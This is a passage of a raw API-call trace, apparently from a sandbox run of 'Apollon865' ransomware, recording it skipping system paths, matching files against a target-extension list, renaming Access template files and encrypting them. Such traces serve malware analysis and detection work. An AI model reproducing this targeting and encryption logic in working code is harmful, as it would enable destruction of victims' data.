	[0063.810] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0063.811] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdedfe600, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdedfe600, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x7490b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Faculty.accdt", cAlternateFileName="FACULT~1.ACC")) returned 1
	[0063.811] lstrcmpiW (lpString1="Faculty.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.811] lstrcmpiW (lpString1="Faculty.accdt", lpString2="Apollon865.txt.exe") returned 1
	[0063.811] lstrcmpiW (lpString1="Faculty.accdt", lpString2=".") returned 1
	[0063.811] lstrcmpiW (lpString1="Faculty.accdt", lpString2="..") returned 1
	[0063.811] lstrcmpiW (lpString1="Faculty.accdt", lpString2="windows") returned -1
	[0063.811] lstrcmpiW (lpString1="Faculty.accdt", lpString2="bootmgr") returned 1
	[0063.811] lstrcmpiW (lpString1="Faculty.accdt", lpString2="temp") returned -1
	[0063.811] lstrcmpiW (lpString1="Faculty.accdt", lpString2="pagefile.sys") returned -1
	[0063.811] lstrcmpiW (lpString1="Faculty.accdt", lpString2="boot") returned 1
	[0063.811] lstrcmpiW (lpString1="Faculty.accdt", lpString2="ids.txt") returned -1
	[0063.811] lstrcmpiW (lpString1="Faculty.accdt", lpString2="ntuser.dat") returned -1
	[0063.811] lstrcmpiW (lpString1="Faculty.accdt", lpString2="perflogs") returned -1
	[0063.811] lstrcmpiW (lpString1="Faculty.accdt", lpString2="MSBuild") returned -1
	[0063.811] lstrlenW (lpString="Faculty.accdt") returned 13
	[0063.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Events.accdt") returned 68
	[0063.811] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Faculty.accdt" | out: lpString1="Faculty.accdt") returned="Faculty.accdt"
	[0063.812] lstrlenW (lpString="Faculty.accdt") returned 13
	[0063.812] lstrlenW (lpString="Apollon865") returned 10
	[0063.812] lstrcmpiW (lpString1="ulty.accdt", lpString2="Apollon865") returned 1
	[0063.812] lstrlenW (lpString=".dll") returned 4
	[0063.812] lstrcmpiW (lpString1="Faculty.accdt", lpString2=".dll") returned 1
	[0063.812] lstrlenW (lpString=".lnk") returned 4
	[0063.812] lstrcmpiW (lpString1="Faculty.accdt", lpString2=".lnk") returned 1
	[0063.812] lstrlenW (lpString=".ini") returned 4
	[0063.812] lstrcmpiW (lpString1="Faculty.accdt", lpString2=".ini") returned 1
	[0063.812] lstrlenW (lpString=".sys") returned 4
	[0063.812] lstrcmpiW (lpString1="Faculty.accdt", lpString2=".sys") returned 1
	[0063.812] lstrlenW (lpString="Faculty.accdt") returned 13
	[0063.812] lstrlenW (lpString="bak") returned 3
	[0063.812] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0063.812] lstrlenW (lpString="ba_") returned 3
	[0063.812] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0063.812] lstrlenW (lpString="dbb") returned 3
	[0063.812] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0063.812] lstrlenW (lpString="vmdk") returned 4
	[0063.812] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0063.812] lstrlenW (lpString="rar") returned 3
	[0063.812] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0063.812] lstrlenW (lpString="zip") returned 3
	[0063.812] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0063.812] lstrlenW (lpString="tgz") returned 3
	[0063.812] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0063.812] lstrlenW (lpString="vbox") returned 4
	[0063.812] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0063.812] lstrlenW (lpString="vdi") returned 3
	[0063.812] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0063.812] lstrlenW (lpString="vhd") returned 3
	[0063.812] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0063.812] lstrlenW (lpString="vhdx") returned 4
	[0063.813] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0063.813] lstrlenW (lpString="avhd") returned 4
	[0063.813] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0063.813] lstrlenW (lpString="db") returned 2
	[0063.813] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0063.813] lstrlenW (lpString="db2") returned 3
	[0063.813] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0063.813] lstrlenW (lpString="db3") returned 3
	[0063.813] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0063.813] lstrlenW (lpString="dbf") returned 3
	[0063.813] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0063.813] lstrlenW (lpString="mdf") returned 3
	[0063.813] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0063.813] lstrlenW (lpString="mdb") returned 3
	[0063.813] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0063.813] lstrlenW (lpString="sql") returned 3
	[0063.813] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0063.813] lstrlenW (lpString="sqlite") returned 6
	[0063.813] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0063.813] lstrlenW (lpString="sqlite3") returned 7
	[0063.813] lstrcmpiW (lpString1="y.accdt", lpString2="sqlite3") returned 1
	[0063.813] lstrlenW (lpString="sqlitedb") returned 8
	[0063.813] lstrcmpiW (lpString1="ty.accdt", lpString2="sqlitedb") returned 1
	[0063.813] lstrlenW (lpString="xml") returned 3
	[0063.813] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0063.813] lstrlenW (lpString="$er") returned 3
	[0063.813] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0063.813] lstrlenW (lpString="4dd") returned 3
	[0063.813] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0063.813] lstrlenW (lpString="4dl") returned 3
	[0063.813] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0063.813] lstrlenW (lpString="^^^") returned 3
	[0063.813] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0063.814] lstrlenW (lpString="abs") returned 3
	[0063.814] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0063.814] lstrlenW (lpString="abx") returned 3
	[0063.814] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0063.814] lstrlenW (lpString="accdb") returned 5
	[0063.814] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0063.814] lstrlenW (lpString="accdc") returned 5
	[0063.814] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0063.814] lstrlenW (lpString="accde") returned 5
	[0063.814] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0063.814] lstrlenW (lpString="accdr") returned 5
	[0063.814] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0063.814] lstrlenW (lpString="accdt") returned 5
	[0063.814] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0063.814] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Faculty.accdt.Apollon865") returned 80
	[0063.814] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Faculty.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\faculty.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Faculty.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\faculty.accdt.apollon865"), dwFlags=0x1) returned 1
	[0063.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Faculty.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\faculty.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0063.828] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=477451) returned 1
	[0063.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0063.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0063.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0063.829] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0063.829] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0063.829] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0063.830] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x74c10, lpName=0x0) returned 0x118
	[0063.833] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x74c10) returned 0x210000
	[0064.051] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0064.053] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0064.053] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0064.053] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0064.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0064.053] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0064.053] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0064.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0064.053] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0064.053] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0064.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0064.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0064.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0064.053] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0064.058] CloseHandle (hObject=0x118) returned 1
	[0064.058] CloseHandle (hObject=0x14c) returned 1
	[0064.058] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0064.058] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0064.058] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0064.060] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d776cd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d776cd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0064.060] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0064.060] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85166900, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f7cd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85166900, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x80f48, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Issues.accdt", cAlternateFileName="ISSUES~1.ACC")) returned 1
	[0064.060] lstrcmpiW (lpString1="Issues.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0064.060] lstrcmpiW (lpString1="Issues.accdt", lpString2="Apollon865.txt.exe") returned 1
	[0064.060] lstrcmpiW (lpString1="Issues.accdt", lpString2=".") returned 1
	[0064.061] lstrcmpiW (lpString1="Issues.accdt", lpString2="..") returned 1
	[0064.061] lstrcmpiW (lpString1="Issues.accdt", lpString2="windows") returned -1
	[0064.061] lstrcmpiW (lpString1="Issues.accdt", lpString2="bootmgr") returned 1
	[0064.061] lstrcmpiW (lpString1="Issues.accdt", lpString2="temp") returned -1
	[0064.061] lstrcmpiW (lpString1="Issues.accdt", lpString2="pagefile.sys") returned -1
	[0064.061] lstrcmpiW (lpString1="Issues.accdt", lpString2="boot") returned 1
	[0064.061] lstrcmpiW (lpString1="Issues.accdt", lpString2="ids.txt") returned 1
	[0064.061] lstrcmpiW (lpString1="Issues.accdt", lpString2="ntuser.dat") returned -1
	[0064.061] lstrcmpiW (lpString1="Issues.accdt", lpString2="perflogs") returned -1
	[0064.061] lstrcmpiW (lpString1="Issues.accdt", lpString2="MSBuild") returned -1
	[0064.061] lstrlenW (lpString="Issues.accdt") returned 12
	[0064.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Faculty.accdt") returned 69
	[0064.061] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Issues.accdt" | out: lpString1="Issues.accdt") returned="Issues.accdt"
	[0064.061] lstrlenW (lpString="Issues.accdt") returned 12
	[0064.061] lstrlenW (lpString="Apollon865") returned 10
	[0064.061] lstrcmpiW (lpString1="sues.accdt", lpString2="Apollon865") returned 1
	[0064.061] lstrlenW (lpString=".dll") returned 4
	[0064.061] lstrcmpiW (lpString1="Issues.accdt", lpString2=".dll") returned 1
	[0064.061] lstrlenW (lpString=".lnk") returned 4
	[0064.061] lstrcmpiW (lpString1="Issues.accdt", lpString2=".lnk") returned 1
	[0064.061] lstrlenW (lpString=".ini") returned 4
	[0064.061] lstrcmpiW (lpString1="Issues.accdt", lpString2=".ini") returned 1
	[0064.061] lstrlenW (lpString=".sys") returned 4
	[0064.061] lstrcmpiW (lpString1="Issues.accdt", lpString2=".sys") returned 1
	[0064.061] lstrlenW (lpString="Issues.accdt") returned 12
	[0064.061] lstrlenW (lpString="bak") returned 3
	[0064.061] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0064.061] lstrlenW (lpString="ba_") returned 3
	[0064.061] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0064.061] lstrlenW (lpString="dbb") returned 3
	[0064.061] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0064.061] lstrlenW (lpString="vmdk") returned 4
	[0064.062] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0064.062] lstrlenW (lpString="rar") returned 3
	[0064.062] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0064.062] lstrlenW (lpString="zip") returned 3
	[0064.062] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0064.062] lstrlenW (lpString="tgz") returned 3
	[0064.062] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0064.062] lstrlenW (lpString="vbox") returned 4
	[0064.062] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0064.062] lstrlenW (lpString="vdi") returned 3
	[0064.062] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0064.062] lstrlenW (lpString="vhd") returned 3
	[0064.062] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0064.062] lstrlenW (lpString="vhdx") returned 4
	[0064.062] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0064.062] lstrlenW (lpString="avhd") returned 4
	[0064.062] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0064.062] lstrlenW (lpString="db") returned 2
	[0064.062] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0064.062] lstrlenW (lpString="db2") returned 3
	[0064.062] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0064.062] lstrlenW (lpString="db3") returned 3
	[0064.062] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0064.062] lstrlenW (lpString="dbf") returned 3
	[0064.062] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0064.062] lstrlenW (lpString="mdf") returned 3
	[0064.062] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0064.062] lstrlenW (lpString="mdb") returned 3
	[0064.062] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0064.062] lstrlenW (lpString="sql") returned 3
	[0064.062] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0064.062] lstrlenW (lpString="sqlite") returned 6
	[0064.062] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0064.063] lstrlenW (lpString="sqlite3") returned 7
	[0064.063] lstrcmpiW (lpString1="s.accdt", lpString2="sqlite3") returned -1
	[0064.063] lstrlenW (lpString="sqlitedb") returned 8
	[0064.063] lstrcmpiW (lpString1="es.accdt", lpString2="sqlitedb") returned -1
	[0064.063] lstrlenW (lpString="xml") returned 3
	[0064.063] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0064.063] lstrlenW (lpString="$er") returned 3
	[0064.063] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0064.063] lstrlenW (lpString="4dd") returned 3
	[0064.063] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0064.063] lstrlenW (lpString="4dl") returned 3
	[0064.063] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0064.063] lstrlenW (lpString="^^^") returned 3
	[0064.063] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0064.063] lstrlenW (lpString="abs") returned 3
	[0064.063] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0064.063] lstrlenW (lpString="abx") returned 3
	[0064.063] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0064.063] lstrlenW (lpString="accdb") returned 5
	[0064.063] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0064.063] lstrlenW (lpString="accdc") returned 5
	[0064.063] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0064.063] lstrlenW (lpString="accde") returned 5
	[0064.063] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0064.063] lstrlenW (lpString="accdr") returned 5
	[0064.063] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0064.063] lstrlenW (lpString="accdt") returned 5
	[0064.063] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0064.063] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Issues.accdt.Apollon865") returned 79
	[0064.063] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Issues.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\issues.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Issues.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\issues.accdt.apollon865"), dwFlags=0x1) returned 1
	[0064.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Issues.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\issues.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0064.064] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=528200) returned 1
	[0064.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0064.065] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0064.065] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0064.065] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0064.066] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0064.066] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0064.066] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x81250, lpName=0x0) returned 0x118
	[0064.067] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x81250) returned 0x210000
	[0064.129] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0064.130] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0064.130] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0064.130] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0064.130] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0064.130] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0064.130] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0064.130] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0064.130] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0064.130] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0064.131] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0064.131] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0064.131] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0064.131] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0064.136] CloseHandle (hObject=0x118) returned 1
	[0064.136] CloseHandle (hObject=0x14c) returned 1
	[0064.136] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0064.136] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0064.136] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0064.138] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb7c1e00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f7cd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb7c1e00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x10e5ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Marketing Projects.accdt", cAlternateFileName="MARKET~1.ACC")) returned 1
	[0064.138] lstrcmpiW (lpString1="Marketing Projects.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0064.138] lstrcmpiW (lpString1="Marketing Projects.accdt", lpString2="Apollon865.txt.exe") returned 1
	[0064.138] lstrcmpiW (lpString1="Marketing Projects.accdt", lpString2=".") returned 1
	[0064.138] lstrcmpiW (lpString1="Marketing Projects.accdt", lpString2="..") returned 1
	[0064.138] lstrcmpiW (lpString1="Marketing Projects.accdt", lpString2="windows") returned -1
	[0064.138] lstrcmpiW (lpString1="Marketing Projects.accdt", lpString2="bootmgr") returned 1
	[0064.139] lstrcmpiW (lpString1="Marketing Projects.accdt", lpString2="temp") returned -1
	[0064.139] lstrcmpiW (lpString1="Marketing Projects.accdt", lpString2="pagefile.sys") returned -1
	[0064.139] lstrcmpiW (lpString1="Marketing Projects.accdt", lpString2="boot") returned 1
	[0064.139] lstrcmpiW (lpString1="Marketing Projects.accdt", lpString2="ids.txt") returned 1
	[0064.139] lstrcmpiW (lpString1="Marketing Projects.accdt", lpString2="ntuser.dat") returned -1
	[0064.139] lstrcmpiW (lpString1="Marketing Projects.accdt", lpString2="perflogs") returned -1
	[0064.139] lstrcmpiW (lpString1="Marketing Projects.accdt", lpString2="MSBuild") returned -1
	[0064.139] lstrlenW (lpString="Marketing Projects.accdt") returned 24
	[0064.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Issues.accdt") returned 68
	[0064.139] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Marketing Projects.accdt" | out: lpString1="Marketing Projects.accdt") returned="Marketing Projects.accdt"
	[0064.139] lstrlenW (lpString="Marketing Projects.accdt") returned 24
	[0064.139] lstrlenW (lpString="Apollon865") returned 10
	[0064.139] lstrcmpiW (lpString1="ects.accdt", lpString2="Apollon865") returned 1
	[0064.139] lstrlenW (lpString=".dll") returned 4
	[0064.139] lstrcmpiW (lpString1="Marketing Projects.accdt", lpString2=".dll") returned 1
	[0064.139] lstrlenW (lpString=".lnk") returned 4
	[0064.139] lstrcmpiW (lpString1="Marketing Projects.accdt", lpString2=".lnk") returned 1
	[0064.139] lstrlenW (lpString=".ini") returned 4
	[0064.139] lstrcmpiW (lpString1="Marketing Projects.accdt", lpString2=".ini") returned 1
	[0064.139] lstrlenW (lpString=".sys") returned 4
	[0064.139] lstrcmpiW (lpString1="Marketing Projects.accdt", lpString2=".sys") returned 1
	[0064.139] lstrlenW (lpString="Marketing Projects.accdt") returned 24
	[0064.139] lstrlenW (lpString="bak") returned 3
	[0064.139] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0064.139] lstrlenW (lpString="ba_") returned 3
	[0064.139] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0064.139] lstrlenW (lpString="dbb") returned 3
	[0064.139] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0064.139] lstrlenW (lpString="vmdk") returned 4
	[0064.139] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0064.139] lstrlenW (lpString="rar") returned 3
	[0064.139] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0064.139] lstrlenW (lpString="zip") returned 3
	[0064.139] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0064.140] lstrlenW (lpString="tgz") returned 3
	[0064.140] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0064.140] lstrlenW (lpString="vbox") returned 4
	[0064.140] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0064.140] lstrlenW (lpString="vdi") returned 3
	[0064.140] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0064.140] lstrlenW (lpString="vhd") returned 3
	[0064.140] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0064.140] lstrlenW (lpString="vhdx") returned 4
	[0064.140] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
